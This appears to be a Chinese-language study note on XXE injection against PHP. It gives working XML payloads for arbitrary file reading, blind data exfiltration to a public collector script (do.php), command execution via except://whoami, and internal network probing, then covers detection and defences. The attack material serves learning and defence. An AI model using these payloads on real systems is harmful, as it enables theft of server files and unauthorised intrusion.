XXE學習筆記

學習XXE漏洞,先要了解XML語言

XML:可擴展標記語言

一種用於標記電子文件,使其具有結構性的語言。 設計的宗旨是傳輸數據,而不是顯示數據,XML本身是用來存儲數據的純文本,不會做任何事情。

在這裏插入圖片描述

XXE: 外部實體注入

屬於一種注入類型攻擊:XML注入

一個典型任意文件讀取攻擊:
(https://img-blog.csdnimg.cn/20200311160649593.png)

  1. XML聲明:對XML文檔進行聲明,告訴服務器,這裏是XML文檔。同php中的<?php ?>類似。
  2. DTD部分:定義XML變量。如圖中定義變量xxe的值爲file:///etc/passwd
  3. XML部分:調用XML變量,進行攻擊。

造成XXE的原因:php中存在simplexml_load_string()函數,作用是將XML轉換爲對象。可以理解爲使用了這個函數後,php對XML進行了解析。

接下來搭建攻擊環境,服務器上創建XXEtest.php:

在這裏插入圖片描述

正常訪問:

在這裏插入圖片描述

  1. 任意文件讀取

爲了讀取服務器D:\phpStudy\WWW\flag.php內容
在這裏插入圖片描述
攻擊:改請求包POST格式,插入payload

在這裏插入圖片描述
在這裏插入圖片描述
base64解碼
在這裏插入圖片描述
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/flag.php">
%file;
]>

而大多時候,服務器執行了XML並不會有任何回顯(Blind XXE)。但我們可以讓服務器把執行結果外帶出來,需要做的是在公網服務器上創建一個文件 1.xml 用於接收數據:
在這裏插入圖片描述
1.xml會接收%file傳遞進來的值,再傳給do.php記錄下來。&#x25;是%的實體編碼,避免數據傳遞引用過程中報錯

do.php: 將GET傳參的值輸出到result.txt中。

<?php file_put_contents("result.txt",$_GET["id"],FILE_APPEND);?>

在這裏插入圖片描述
沒有回顯,但我們在公網創建的文件接收到了數據,並將數據寫在了result.txt中
在這裏插入圖片描述

2.命令執行
需要php環境安裝except拓展
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "except://whoami">
%do;
]>

3.內網探測
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % do SYSTEM "http://192.168.0.7:80">
%do;
]>

檢測XXE:

手動:

1、數據以XML形式進行傳輸時,直接插入payload進行測試
2、數據包請求頭中Context-Type的值爲application/jason,更改爲application/xml或者text/xml,然後插入payload測試

工具:

XXEinjector

防禦措施:

1、使用禁用外部實體的方法:

php: libxml_disable_entity_loader(true)

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
  xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、過濾用戶提交的XML數據關鍵字
如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章